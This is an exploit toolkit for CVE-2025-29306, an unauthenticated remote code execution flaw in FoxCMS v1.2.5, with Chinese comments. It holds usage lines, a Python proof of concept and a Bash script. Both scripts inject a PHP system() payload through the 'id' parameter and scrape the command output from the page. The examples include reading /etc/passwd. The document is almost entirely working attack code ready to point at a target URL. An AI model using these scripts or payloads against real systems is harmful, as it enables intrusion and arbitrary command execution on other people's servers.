FoxCMS v1.2.5 远程代码执行漏洞利用工具集

# 基本用法
python3 CVE-2025-29306.py <目标URL> "<命令>"

# 实际示例：检测系统信息
python3 CVE-2025-29306.py http://example.com "id; uname -a"

# 实际示例：列出目录内容
python3 CVE-2025-29306.py http://vulnerable-site.com "ls -la /var/www"

# 基本用法
./CVE-2025-29306.sh <目标URL> "<命令>"

# 实际示例
./CVE-2025-29306.sh http://example.com "cat /etc/passwd"

#!/usr/bin/env python3
"""
PoC for CVE-2025-29306: Unauthenticated RCE in FoxCMS v1.2.5
Unsafe deserialization of 'id' param in /images/index.html leading to arbitrary command execution.

Usage: python3 CVE-2025-29306.py <target_url> <command>
Example: python3 CVE-2025-29306.py http://example.com "id; uname -a"

Dependencies: requests, lxml
"""

import sys
import requests
from urllib.parse import quote
from lxml import html

def exploit(target_url, command):
    # 构造PHP载荷：${@print_r(@system("COMMAND"))} - 通过unserialize反序列化执行
    payload = f"${{@print_r(@system('{command}'))}}"
    encoded_payload = quote(payload, safe='')

    # 易受攻击的端点
    url = f"{target_url.rstrip('/')}/images/index.html?id={encoded_payload}"

    print(f"[*] Targeting: {url}")
    print(f"[*] Executing command: {command}")

    try:
        # 发送GET请求（无需认证）
        response = requests.get(url, timeout=10, verify=False)
        if response.status_code != 200:
            print(f"[-] Unexpected status code: {response.status_code}")
            return False

        # 解析HTML响应；根据漏洞详情输出反映在<header>下的<ul>中
        tree = html.fromstring(response.content)
        ul_elements = tree.xpath('/html/body/header/div[1]/div[2]/div[1]/ul/text()')
        
        if not ul_elements:
            print("[-] No output found in expected XPath. Target may not be vulnerable or output hidden.")
            return False

        # 清理并提取输出（去除标签/空白）
        output = ' '.join([elem.strip() for elem in ul_elements if elem.strip()])
        if output:
            print(f"[+] SUCCESS! Command Output:\n{output}")
            return True
        else:
            print("[-] Command executed but no output captured.")
            return True  # 如果响应被处理，仍然易受攻击

    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False
    except Exception as e:
        print(f"[-] Parsing error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: %s <target_url> <command>" % sys.argv[0])
        sys.exit(1)

    target = sys.argv[1]
    cmd = sys.argv[2]

    if exploit(target, cmd):
        print("[+] Target is VULNERABLE to CVE-2025-29306!")
    else:
        print("[-] Exploit failed or target not vulnerable.")
    sys.exit(0)

#!/bin/bash

banner() {
cat <<'EOF'

 ██████╗  ██╗       █████╗   ██████╗ ██╗  ██╗  █████╗  ███████╗ ██╗  ██╗ 
 ██╔══██╗ ██║      ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║  ██║ 
 ██████╔╝ ██║      ███████║ ██║      █████╔╝  ███████║ ███████╗ ███████║ 
 ██╔══██╗ ██║      ██╔══██║ ██║      ██╔═██╗  ██╔══██║ ╚════██║ ██╔══██║ 
 ██████╔╝ ███████╗ ██║  ██║ ╚██████╗ ██║  ██╗ ██║  ██║ ███████║ ██║  ██║ 
 ╚═════╝  ╚══════╝ ╚═╝  ╚═╝  ╚═════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚══════╝ ╚═╝  ╚═╝
                    
            FoxCMS Remote Code Execution (CVE-2025-29306)
                    
EOF

}

# 调用横幅函数
banner

set -e

# 检查参数数量是否正确
if [ "$#" -ne 2 ]; then
    printf "Usage: $0 <url> <command>"
    exit 1
fi

TARGET=$1

# 编码载荷
ENCODED_CMD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('\${@print_r(@system(\"$2\"))}'))")
FULL_URL="${TARGET}?id=${ENCODED_CMD}"

echo "[*] Sending RCE payload: $2"
HTML=$(curl -s "$FULL_URL")

# 使用xmllint从已知XPath位置提取<ul>内容
UL_CONTENT=$(echo "$HTML" | xmllint --html --xpath "/html/body/header/div[1]/div[2]/div[1]/ul" - 2>/dev/null)

# 去除标签，清理输出
CLEANED=$(echo "$UL_CONTENT" | sed 's/<[^>]*>//g' | sed '/^$/d' | sed 's/^[[:space:]]*//')

echo
echo "[+] Command Output:"
echo "$CLEANED"